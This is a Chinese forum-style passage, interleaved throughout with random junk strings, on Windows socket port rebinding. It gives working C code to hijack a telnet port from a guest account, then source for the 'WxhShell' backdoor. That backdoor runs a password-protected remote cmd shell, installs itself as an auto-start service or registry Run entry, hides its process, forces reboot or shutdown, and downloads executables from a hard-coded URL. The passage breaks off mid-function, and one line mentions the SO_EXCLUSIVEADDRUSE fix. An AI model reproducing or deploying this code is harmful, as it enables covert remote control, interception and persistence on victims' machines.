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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: }yQ&[Mt s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 0#\K9|. i?+ZrAx> saddr.sin_family = AF_INET; ?:@13wm JbT+w\o saddr.sin_addr.s_addr = htonl(INADDR_ANY); #2*l"3.$.R P2HR4`c bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); ;U7o)A; 9a\H+Y~ 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 VaYL#\;c< Swugt"`nN 这意味着什么?意味着可以进行如下的攻击: f
uzz3# m]C|8b7Y 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 OIi8x?
.~] bv %Bo4s 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) X`/3X}<$7 [bE-Uu7q5P 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 Y
j[M>v L`sg60z 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。 Po(Y',xI[ 9o)sSaTx= 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 UoDS)(i A0mj!P 9 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 ;E,^bt<U G$#Q:]N 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 'G] P09`*) _=%F6}TE #include 'gBns #include s
&4k #include ?=
G+L0t
#include ie<zc+*rW DWORD WINAPI ClientThread(LPVOID lpParam); tX'`4!{@+ int main() a1^CpeG~ { 4XL$I*;4 WORD wVersionRequested; zL8Z8eh"> DWORD ret; G
=`-w WSADATA wsaData; k2bjBAT BOOL val; n $Nw/Vm SOCKADDR_IN saddr; r"E%U:y3P SOCKADDR_IN scaddr; b/#SkxW#S int err; \<e? SOCKET s; Q{+*F8%8V< SOCKET sc; 2@TgeV0Y[ int caddsize; hc"l^a!7ic HANDLE mt; { XI 0KiE DWORD tid; Lzr&Q(mL wVersionRequested = MAKEWORD( 2, 2 ); F~bDA~ err = WSAStartup( wVersionRequested, &wsaData );
b#uNdq3 if ( err != 0 ) { n*gr(S printf("error!WSAStartup failed!\n"); VtP^fM^{ return -1; _v/w
,z } fL xGaOT saddr.sin_family = AF_INET; W4OL{p-\/ e0s* //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 !
qVuhad. J&P{7a saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); BE0Ov{' saddr.sin_port = htons(23); Dx)>`yJk$; if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) {^J/S}L] { GtuA94=!V& printf("error!socket failed!\n"); `!Z0;qk return -1; %rFR:w`{ } x3>ZO.Q val = TRUE; >m$jJlAv8 //SO_REUSEADDR选项就是可以实现端口重绑定的 /Dd.C<F if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) +N6IdDN3 { bk(q8xR` printf("error!setsockopt failed!\n"); 34*73WxK return -1; UWW^g@d4 } ='W= //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; y ;/T.W9! //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 .2Q4EbM2 //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 W)X" G3 #!0=I
s^ if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) N>TmaUk { YYE{zU ret=GetLastError(); o*k.je1 printf("error!bind failed!\n"); jo-2D[Q{ return -1; qw?Wi%t(x8 } uI9eUO listen(s,2); `e`}dgf0S| while(1) D%`O.2T Y| { !1b}M/Wx caddsize = sizeof(scaddr); Ir\P[A //接受连接请求 E,kDy: sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); Y9/`w@"v if(sc!=INVALID_SOCKET) |D% O`[k+ { $#z-b@s=B mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); {4n if(mt==NULL) _2-fH { *5QN: printf("Thread Creat Failed!\n"); f7lt|.p break; adcH3rV } A`B>fI } B_uhNLd CloseHandle(mt); /~(T[\E< } J9%I&lu/ closesocket(s); exZgk2[0 WSACleanup(); 2jVvK"C return 0; H9\,;kM) } "u.'JE;j DWORD WINAPI ClientThread(LPVOID lpParam) /Hs\`Kg"! { I[6ft_* SOCKET ss = (SOCKET)lpParam; 8aqH;|fG} SOCKET sc; K/YXLR + unsigned char buf[4096]; _4f=\ SOCKADDR_IN saddr;
UVd
^tg long num; HJi
FlL3 DWORD val; b FMBIA| DWORD ret; {X\%7Zef+ //如果是隐藏端口应用的话,可以在此处加一些判断 4<j7F4 //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发 *V`E)maU saddr.sin_family = AF_INET; ;b5^)S saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); zv-9z saddr.sin_port = htons(23); R?3N><oh* if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) c
W1`[b { j].=,M<dxE printf("error!socket failed!\n"); S`Xx('!/| return -1; WK.K-bd } 2@6Qifxd@ val = 100; Ueu~803~ if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) N79?s)l:K { 3Q#Tut ret = GetLastError(); h+c9FN return -1; i*]$_\yl" } z',f'3+ if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) xrZzfg { ,rNv} ret = GetLastError(); Ihd{tmr< return -1; =o)B1(v@. } Gc=uKQ+\V if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) Rb_%vOM { y&W3CW\: printf("error!socket connect failed!\n"); cCuK?3V4K closesocket(sc); O@>ZYA% closesocket(ss); &R))c|>OT& return -1; ?{;7\1[4 } V"|`Z}XW while(1) @iU(4eX { ^H!45ph?Jc //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 qoP/`Y6 //如果是嗅探内容的话,可以再此处进行内容分析和记录 ]i/Bq!d l //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 M+VAol}1 num = recv(ss,buf,4096,0); Zet80|q if(num>0) vd[?73:C send(sc,buf,num,0); Y<t(m$s else if(num==0) VBtdx`9 break; =3Ohy,5L num = recv(sc,buf,4096,0); -uNM_|MO if(num>0) O9*l6^Scw send(ss,buf,num,0); sE])EwZ else if(num==0) 1d!TU=* break; 6VtN4c.Q } ]-sgzM]q closesocket(ss); yf2P6b\ closesocket(sc); tH(g;flO) return 0 ; pupt__NZ)n } wu. >'v?y z+K1[1SM \iA.{,VX ========================================================== 9DmFa5E Yw6uh4 下边附上一个代码,,WXhSHELL Ltk-1zhI hs*n?vxp3 ========================================================== $q##Tys } 4ZWAzH #include "stdafx.h" qi['~(( &a+=@Z)kf #include <stdio.h> y
q!{\@- #include <string.h> 1pz-jo,2' #include <windows.h> +}
y"S - #include <winsock2.h> RB9ZaL\ #include <winsvc.h> $>zqCi2tB< #include <urlmon.h> AqT}^fS Khh}flRy #pragma comment (lib, "Ws2_32.lib") KJv[z #pragma comment (lib, "urlmon.lib") F+]cFx,/ Ri>ZupQ6 #define MAX_USER 100 // 最大客户端连接数 Dqc2;> #define BUF_SOCK 200 // sock buffer 0 _N.s5~N #define KEY_BUFF 255 // 输入 buffer /bF>cpM RgVnx] IF #define REBOOT 0 // 重启 h!7Lvh`o #define SHUTDOWN 1 // 关机 hGcu(kAC, s &f\gp1 #define DEF_PORT 5000 // 监听端口 w8bvqTQ ')TS'p,n #define REG_LEN 16 // 注册表键长度 (K('@W%\? #define SVC_LEN 80 // NT服务名长度 /z)Nz2W {(l,Uhxl"" // 从dll定义API GHO6$iM)[ typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); (v&iXD5t typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); (3 Z;c_N typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 8H,k0~D typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 7b7WQ 7u !8Y A1 o // wxhshell配置信息 7u:QT2=& struct WSCFG { + (Jh$b_ int ws_port; // 监听端口 ?aguAqG$ char ws_passstr[REG_LEN]; // 口令 ;?y~ h$ int ws_autoins; // 安装标记, 1=yes 0=no ~sdM~9@
' char ws_regname[REG_LEN]; // 注册表键名 }/4),W@< char ws_svcname[REG_LEN]; // 服务名 d(K}v\3! char ws_svcdisp[SVC_LEN]; // 服务显示名 Z^J7r&\V char ws_svcdesc[SVC_LEN]; // 服务描述信息 \zeu vD char ws_passmsg[SVC_LEN]; // 密码输入提示信息 BZ(DP_}&D int ws_downexe; // 下载执行标记, 1=yes 0=no 2|&SG3e+(I char ws_fileurl[SVC_LEN]; // 下载文件的 url, " http://xxx/file.exe" ^I{/j'b& char ws_filenam[SVC_LEN]; // 下载后保存的文件名 2$'bOo {$V2L4 }; R+El/ya:6 [{:
l? // default Wxhshell configuration *;F:6p4_ struct WSCFG wscfg={DEF_PORT, Yq'D-$@ "xuhuanlingzhe", #8$"84&N. 1, +$F,!rV-s "Wxhshell", S~>R}= "Wxhshell", iz 0: "WxhShell Service", fX2OH)6U "Wrsky Windows CmdShell Service", Hzz v 6k "Please Input Your Password: ", X6BOB? 1, hrGX65> " http://www.wrsky.com/wxhshell.exe", %/d1x "Wxhshell.exe" s{*bFA Z1F }; Z)f?X {&a6<y#- // 消息定义模块 ^b4i9n,t1 char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; m
?*h\NaB char *msg_ws_prompt="\n\r? for help\n\r#>"; 5?0~7^de char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#> http://.../server.exe\n\r"; Pj_*,L`mZ char *msg_ws_ext="\n\rExit."; {q^UWv?1 char *msg_ws_end="\n\rQuit."; ,YJn=9pTl char *msg_ws_boot="\n\rReboot..."; &A=c[pc char *msg_ws_poff="\n\rShutdown..."; P&yB(M-z char *msg_ws_down="\n\rSave to "; F:~@e( ?<T=g char *msg_ws_err="\n\rErr!"; /!N=@z) char *msg_ws_ok="\n\rOK!"; cgO<%_l3` c& K`t char ExeFile[MAX_PATH]; /&9R*xNST# int nUser = 0; JIsi HANDLE handles[MAX_USER]; yq1G6hw int OsIsNt; X]o"vx%C '2UQN7@d SERVICE_STATUS serviceStatus; 06?d#{?M1o SERVICE_STATUS_HANDLE hServiceStatusHandle; bz1AmNZG sY1.z5"Mm // 函数声明 {vT9I4d8 int Install(void); 'dqecmB int Uninstall(void); W0}FOfL9 int DownloadFile(char *sURL, SOCKET wsh); Rd<K.7&A} int Boot(int flag); >s )L(DHa" void HideProc(void); qC5IV}9` int GetOsVer(void); yF1p^>*ak& int Wxhshell(SOCKET wsl); lBa` nG void TalkWithClient(void *cs); xZY7X&C4 int CmdShell(SOCKET sock); $R+rB;=a! int StartFromService(void); <AK9HPxP int StartWxhshell(LPSTR lpCmdLine); .Hk.'>YR R7KV
@n VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); $<"I*l@ VOID WINAPI NTServiceHandler( DWORD fdwControl ); 0M?zotv0# o' v!83$L // 数据结构和表定义 yivWT;` SERVICE_TABLE_ENTRY DispatchTable[] = ~SmFDg$/m { xu{VU^'Y {wscfg.ws_svcname, NTServiceMain}, fWb+08}C {NULL, NULL} ^Pah\p4bj }; 2 .\"Q Y/?z8g'p // 自我安装 LXZI|K[}k int Install(void) 0g~Cdp { 3E0C$vKM char svExeFile[MAX_PATH]; 7#SfuZ0@ HKEY key; x&"P^gh) strcpy(svExeFile,ExeFile); p/G9P +? 5m;BL+>YE // 如果是win9x系统,修改注册表设为自启动 GDb Vy)& if(!OsIsNt) { 6G}4KGQc if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 73nM9 RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); `sgW0Uf RegCloseKey(key); nwzyL`kF if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ))nTd= RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Cs\jPh;" RegCloseKey(key); dpX Fx"4A return 0; ru~!;xT } bAy\Sr
#/ } H/Rzs$pnv } z: else { OmK4
\_. D6"d\Fm< // 如果是NT以上系统,安装为系统服务 t<j_` %`8 SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); L}'^FqO[IW if (schSCManager!=0) P]OUzI, { KXpbee SC_HANDLE schService = CreateService o,S(;6pDJ ( %$'fq*8b schSCManager, 0F.S[!I wscfg.ws_svcname, <@lj\, wscfg.ws_svcdisp, 6L)7Q0Z SERVICE_ALL_ACCESS, H/.UDz SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , N1.fV - SERVICE_AUTO_START, >;R7r|^k SERVICE_ERROR_NORMAL, F/[m.!Eo svExeFile, 7 toIbC# NULL, Rg+#(y NULL, 5:#|Op N NULL, PHUeN]s# NULL, e}P@7e h NULL
A;*< ); ~Nf|,{[(5 if (schService!=0)
Mz+vT0 { )vpYVr- CloseServiceHandle(schService); wQ~]VVRN CloseServiceHandle(schSCManager); ggm'9| strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); lL
50PU strcat(svExeFile,wscfg.ws_svcname); lR9uD9Dr if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { gv D*^ RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); kP5G}Bp RegCloseKey(key); EziGkbpd@ return 0; I Gi9YpI&K } 1 o_6WU } g \ou+M# CloseServiceHandle(schSCManager); kbJ4CF}H } B6KG\,'| } M*C1QQf\N MmePhHf return 1; a.RYRq4o } &49WfctT $DtUTh3) // 自我卸载 .p?SPR int Uninstall(void) qQ6@43TC { -yTIv*y HKEY key; ,oPxt |sl^4'Ghc if(!OsIsNt) { 3+vVdvu% if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { rvK%m_r RegDeleteValue(key,wscfg.ws_regname); 8j :=D!S RegCloseKey(key); wA)nryXV if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { M4CC&?6\ RegDeleteValue(key,wscfg.ws_regname); ^dsj1#3z RegCloseKey(key); Bu+?N%CBi return 0; @8+v6z } Ta/u&t4 } ? STO#<a } MZB}O"
r else { p=zTY7L y~\uS SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); F%af05L[ if (schSCManager!=0) s&<76kwl { Q#.E-\=^ SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); Li$2 Gpc/ if (schService!=0) 0&b;!N!vJ { e&Q
w\Ze if(DeleteService(schService)!=0) { WwWCNN~} CloseServiceHandle(schService); D*?LcxX CloseServiceHandle(schSCManager); G;/l[mvh, return 0; M%W#0 } 7s!rer> CloseServiceHandle(schService); AT1{D!b } ;:+2.// CloseServiceHandle(schSCManager); n}fV$qu } TeO'E<@ } kHhku!CH ^U96p0H"T return 1; I0=L_&`) } t}?-ao N
7Y X // 从指定url下载文件 Zy8tI# int DownloadFile(char *sURL, SOCKET wsh) 5zkj;?s { ]VE3u_kR HRESULT hr; o~q.j_Sa char seps[]= "/"; -5|el3%) char *token; %6m' |(- char *file; ir>+p>s. char myURL[MAX_PATH]; |F<%gJ char myFILE[MAX_PATH]; vts" c': 4e) strcpy(myURL,sURL); SBf=d<j 1) token=strtok(myURL,seps); mV)t while(token!=NULL) hY!>> { ccp9nXv file=token; Q9B!0G.-bs token=strtok(NULL,seps); V0&7MY * } 01uj-!D$@ &GvSgdttv GetCurrentDirectory(MAX_PATH,myFILE); ~l{Qz0& strcat(myFILE, "\\"); W}}ZP]; strcat(myFILE, file); {fX~%%c" send(wsh,myFILE,strlen(myFILE),0); nZc6
*jiz send(wsh,"...",3,0); m_BpY9c]5 hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 7Kb&BF|Q if(hr==S_OK) apgKC; return 0; ,dw\y/dn else {;zHkmx return 1; o@]n<ZYo _x#y } bAuiMw7! V[kn'QkWv // 系统电源模块 VM\\.L
int Boot(int flag) 0Zo><= { vv<\LN0 HANDLE hToken; p9mGiK4! TOKEN_PRIVILEGES tkp; Q)qJ6-R|HD nn$^iw` if(OsIsNt) { #o9CC)q5G OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); ITi#p% LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); !|]k2=+I tkp.PrivilegeCount = 1; ,Mi'NO tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; /BvMNKb$$ AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); D`X<b4e8/ if(flag==REBOOT) { #F2DEo^0 if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) burSb:JF return 0; kM=&Tfpj } 6Yt3Oq<U else { AN[pjC< if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) pS7y3(_ return 0; 61OlnmvE } Gl45HyY_ } I,,SR" else { 5J&Gc;[p if(flag==REBOOT) { _5O~]} if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) %W| Sl return 0; MPyDG"B * } C=U4z|Ym else { 9f5~hBlo if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) Z?3B1o9 return 0; a|3+AWL% } >9#) obw } px+]/P<dX ,@f |t& return 1; TL7qOA7^X } h^`@%g9 S MBKF8b'k // win9x进程隐藏模块 kApD D[ N void HideProc(void) /Dt:4{aTOC { ui|6ih$+ T?=]&9Y' HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); d7zZ~n if ( hKernel != NULL ) b E40^e { In!^+j pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); b].U/=Hs ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); xXmlHo<D FreeLibrary(hKernel); I69Z'}+qz } ]gv3|W O*,O]Q return; KZ^>_K& } wc"~8Ah }j2t8B^&: // 获取操作系统版本 D;+Y0B int GetOsVer(void) {Dy,|}7s { Az#kE.8b*A OSVERSIONINFO winfo; -;qK_x winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); p-rQ'e GetVersionEx(&winfo); [C~N#S[] if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) Nt?=0X|M return 1; r;H#cMj else `022gHYv return 0; _,UYbD\[J} } 6U%d3"T [)I
W9E
v // 客户端句柄模块 FB>P39u int Wxhshell(SOCKET wsl) d.B<1"MQ { '}(Fj2P79 SOCKET wsh; 0R(['s:3` struct sockaddr_in client; M\IdQY-c DWORD myID; oblw!) n:s _2h(u while(nUser<MAX_USER) mc@Z+t' { SNSoV3|k- int nSize=sizeof(client); 00y(E@~ wsh=accept(wsl,(struct sockaddr *)&client,&nSize); VAyAXN~ if(wsh==INVALID_SOCKET) return 1; ~YviXSW 4 EA$<n(A- handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 7*Zm{r@u if(handles[nUser]==0) ,lFzL3'_0x closesocket(wsh); 'X/:TOk{W else |Dq?<Ha nUser++; Ju;^^ } ]_|%!/_ WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); "e>9R'y YWV)C?5x& return 0; d0zp89BEn } Bqk+ne <+b~E, // 关闭 socket !A|}_K1Cr void CloseIt(SOCKET wsh) s`.J!^u` { <dBz]W closesocket(wsh); vQ$"|8, nUser--; 1 un! ExitThread(0); =i7CF3 } >!o!rs Nr]guC? rE // 客户端请求句柄 [=Nv=d<[p void TalkWithClient(void *cs) 4ISIg\:c* { pXh`o20I I!K-*
AB SOCKET wsh=(SOCKET)cs; o4z|XhLr char pwd[SVC_LEN]; 0XyPG char cmd[KEY_BUFF]; [E2".F3 char chr[1]; UalwK int i,j; "EWq{l_I5$ PtL8Kd0`C while (nUser < MAX_USER) { .uN(44^+x uLI;_,/: if(wscfg.ws_passstr) { BuC\Bd^0 if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ?"?AH/E D //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 'C:i5?zh(q //ZeroMemory(pwd,KEY_BUFF); Rx.5;2m i=0; As tuM] while(i<SVC_LEN) { 7W&XcF )RWukr+ // 设置超时 37M,Os1( fd_set FdRead; 9uX15a struct timeval TimeOut; ]A l)> FD_ZERO(&FdRead); |B^Picu FD_SET(wsh,&FdRead); ke/4l?zs TimeOut.tv_sec=8; kKC]
n TimeOut.tv_usec=0; 6bf!v int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); ~ySsv if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); ZR{YpLFQ j``Ku@/x0 if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ~Q]::
pwd =chr[0]; u`!Dp$P if(chr[0]==0xd || chr[0]==0xa) { ~=otdJ pwd=0; 8e`HXU(A break; .&>3nu } i.-2
w6 i++; CWd
& } Z
6][9o Q!7mN?l // 如果是非法用户,关闭 socket {)Wa"|+ if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); Rdj^k^V+a1 } @x*,fk >.XXB
5a send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); x{rjngp2 send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); V%zo[A 0B~x8f while(1) { C}9|e?R[Rz {q;_Dd ZeroMemory(cmd,KEY_BUFF); .I^Y[_.G -Wre4^,v // 自动支持客户端 telnet标准 ?PV@WrU>B j=0; 'CG% PjCO while(j<KEY_BUFF) { t[G7&ovj
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
9p4SxMMO cmd[j]=chr[0]; :)+)L@By if(chr[0]==0xa || chr[0]==0xd) { M}=fdH cmd[j]=0; uY3#, break; Uqly|FS &n } Ms+SJ5Lg j++;
!rG-[7K } 6eNBld P! bp}]'NA // 下载文件 3u;0,:X& if(strstr(cmd,"http://")) { z38Pi send(wsh,msg_ws_down,strlen(msg_ws_down),0); s)sT\crP@ if(DownloadFile(cmd,wsh)) [DtMT6F3 send(wsh,msg_ws_err,strlen(msg_ws_err),0); Z 2$S'}F else MY(51)* send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Jt?`(H } |Fq\%y# else { k#p6QAhS 'RV wxd switch(cmd[0]) { A43[i@o Kc>Rd // 帮助
\vW'\} case '?': { {L M Q send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); /}5)[9GC break; Q}g"pl } ]^@m $O // 安装 :8?l=B9("g case 'i': { /6y;fx if(Install()) V[7D4r.j send(wsh,msg_ws_err,strlen(msg_ws_err),0); )|Ka'\xr else I3}I7oc_ send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); [Qqss8a break; Qv8 =CnuOT } W{ZJ^QAq/ // 卸载 C2DAsSw case 'r': { GAh\6ul if(Uninstall()) H8Z|gq1r send(wsh,msg_ws_err,strlen(msg_ws_err),0); &nY#GHB else B?
XK;*]) send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); oS_YQOoD break; @?t+O'& } &.Yu%=} // 显示 wxhshell 所在路径 #X?E#^6?E case 'p': { /d$kz&aIV char svExeFile[MAX_PATH]; N4WX} strcpy(svExeFile,"\n\r"); 1Z_ H%( strcat(svExeFile,ExeFile);
-"bC[ WN send(wsh,svExeFile,strlen(svExeFile),0); w3ZOCWJS break; 5<7sVd. } @ xTVX'$ // 重启 ^r{N^ case 'b': { X%`:waR send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); h+9~^<oFl if(Boot(REBOOT)) vJb/.)gh] send(wsh,msg_ws_err,strlen(msg_ws_err),0); j`MK\*qmz else { UGoB7TEfn closesocket(wsh); h6;zAM} ExitThread(0); W"tGCnd } #smfOGSd break; 58o&Dv6? } }=u#,nDl>$ // 关机 t
^1uj:vD case 'd': { (:}}p}u send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); X 0LC:0+ if(Boot(SHUTDOWN)) Yv"B-oy send(wsh,msg_ws_err,strlen(msg_ws_err),0); NK%Ok else { FbW$H]C$ closesocket(wsh); ;i?R+T ExitThread(0); iD>H{1 h } NpS =_QeNw break; IPt
!gSp } t&_X{!1X"w // 获取shell &(|x-OT case 's': { GP`sOPr CmdShell(wsh); Ejyo
oO45 closesocket(wsh); n6C!5zq7U ExitThread(0); 9aKO||i, break; /2$d'e } p>W@h*[6w // 退出 pLMaXX~4_ case 'x': { S&c5Q*->[ send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 9)4_@rf% CloseIt(wsh); jQ-2SA O break; -<(RYMk*) } df&.!7_R` // 离开 gy"<[N
.?c case 'q': { ,!P}Y[| send(wsh,msg_ws_end,strlen(msg_ws_end),0); [Y^h)k{-$ closesocket(wsh); }gd'pgN"t WSACleanup(); Z,8t!Y exit(1); ylQ9Su>o break; A}_pJH } pxW*kS } J.c
yb } @Z<Z//^k XS.*CB_m_ // 提示信息 vr_Z0]4`C9 if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); bP4}a!t+n } 4"\%/kG } WzBr1
ea{I :kd]n$] return; v8C4BuwA } {~XnmBs t8*NldC // shell模块句柄 }?sC1]-j& int CmdShell(SOCKET sock) EIPX q { 3kVN[0 STARTUPINFO si; Au:R]7 ZeroMemory(&si,sizeof(si)); zA/Fh(uX si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; $\PU Y8 si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; \(r$f!` PROCESS_INFORMATION ProcessInfo; ;{v2s; char cmdline[]="cmd"; #J CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); *<X*)A{C return 0; |n~,{= } Mu6DTp~k -]QP#_
// 自身启动模式 9q\_UbF int StartFromService(void) CW]Th-xc { @R (Op|9 typedef struct A>_,tt
{ Y)l=r^Ap> DWORD ExitStatus; i4&V+h" DWORD PebBaseAddress; ]<C]&03)) DWORD AffinityMask; 1Afy$It/{ DWORD BasePriority; j}6h}E&dEr ULONG UniqueProcessId; V~do6[( ULONG InheritedFromUniqueProcessId; A,3qjd,$ c } PROCESS_BASIC_INFORMATION; i>dFpJ jWdZ]0m PROCNTQSIP NtQueryInformationProcess; g2A#BMe'.$ ?F*I2rt# static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; %al
5 { static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; S27s Rxfr UKPr[ HANDLE hProcess; ,RP 9v* PROCESS_BASIC_INFORMATION pbi; {@k
